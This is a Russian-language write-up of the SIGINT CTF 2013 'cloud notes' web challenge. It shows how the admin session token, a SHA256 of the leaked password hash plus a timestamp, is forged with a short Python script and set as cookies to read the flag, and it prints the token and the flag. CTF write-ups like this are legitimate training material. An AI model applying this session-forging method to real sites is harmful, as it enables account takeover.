SIGINT CTF 2013 (notes)

Решения

http://welovecpteam.wordpress.com/2013/07/07/sigint-ctf-2013-notes/ (WeLoveCP)
http://www.defragmented-brains.at/writeup/sigint2013/cloud/notes/index.html (Defragmented Brains)
https://rdot.org/forum/showthread.php?p=32335 (wget)
Назад к списку заданий

Задание (cloud)

notes
cloud is the future
http://1f.ctf.sigint.ccc.de/
Исходный код source

Подробное описание

Cloud-Notes это веб-приложение, позволяющее пользователям как регистрировать, так и обмениваться сообщениями. Исходник веб-приложения нам доступен. Структура папок выглядит так:
+ data
  + notes (заметки пользователей)
    + admin
            bcrypt.note
            bcrypt.note_password_hash
  + users (пользователи веб-приложения)
    + admin
            note_name_prefix
            password_hash
            write_access
+ files
  + css (стили)
  + img (картинки/иконки)
+ lib
  + cloud-notes (логика приложения)
           data.rb
           note.rb
           user.rb (функции для создания и авторизации пользователей)
+ templates
  Шаблоны веб-страниц (html-файлы)
start.sh
web.ru (обработка событий, в том числе и do_login)

Изучив исходники, мы узнаем, что приложение – это Ruby on Rails сервер. Причем, уже есть один зарегистрированный пользователь. Это admin. Есть созданная admin’ом заметка.
Чтобы войти на сервер, существует два способа. Либо узнать пароль admin’а, либо подделать его сессионный ключ. Второй вариант оказался легче. Смотрим процедуру обработки события входа на сервер do_login из web.ru.
def do_login(user, title, request)
    cookie= {}
    login_time= Time.now.to_i.to_s
    login_token= user.login_token(login_time)
    Rack::Utils.set_cookie_header!(cookie, "login_name", user.name)
    Rack::Utils.set_cookie_header!(cookie, "login_time", login_time)
    Rack::Utils.set_cookie_header!(cookie, "login_token", login_token)
    location= "#{request.base_url}/"
    [303, cookie.merge("Location" => location), title, use_template("303.html", binding)]
end

Ключ login_token создается на основании метки времени login_time = Time.now.to_i.to_s (получить текущую метку времени – преобразовать в целое – преобразовать в строку). Смотрим функцию user.login_token из user.rb.
def check_authorized
    unless @authorized
        raise UnauthorizedError, "not authorized"
    end
end
 
def login_token(salt)
    check_authorized
    password_data= Data.new(@user_dir+"password_hash")
    password_data.readlock do
        Digest::SHA256.hexdigest(password_data.read+salt)
    end
end

Как видим, ключ - это хэш SHA256 объединенных строк: содержимое файла (из папки пользователя) password_hash + соль (текущая метка времени). Главное, нам доступен файл password_hash админа (см. исходники - он лежит в папке /data/users/admin).

Пишем скрипт создания login_token на Python (реализацию SHA256 взяли отсюда - http://solutionmes.wikidot.com/crypto-sha)

from slowsha import sha256
 
# "1373068730" - метка времени, пусть будет константа
res = sha256(open("password_hash").read()+"1373068730").hexdigest()
print("login_token: "+res)

Получили
login_token: a76b29f110644b2fb61167d53b87d0f2b2e5e65981ff33d80f51a86233233c33

Теперь, заходим на сайт и создаем куки по образцу из do_login:
"login_name" : "admin"
"login_time" : "1373068730"
"login_token" : "a76b29f110644b2fb61167d53b87d0f2b2e5e65981ff33d80f51a86233233c33"

Сам флаг найдем в папке admin под именем secret:
http://1f.ctf.sigint.ccc.de/view/admin/secret

Флаг:
SIGINT_acid_is_important_c3d08b685f867703

Пока не указано иное, содержимое этой страницы распространяется по лицензии Creative Commons Attribution-ShareAlike 3.0 License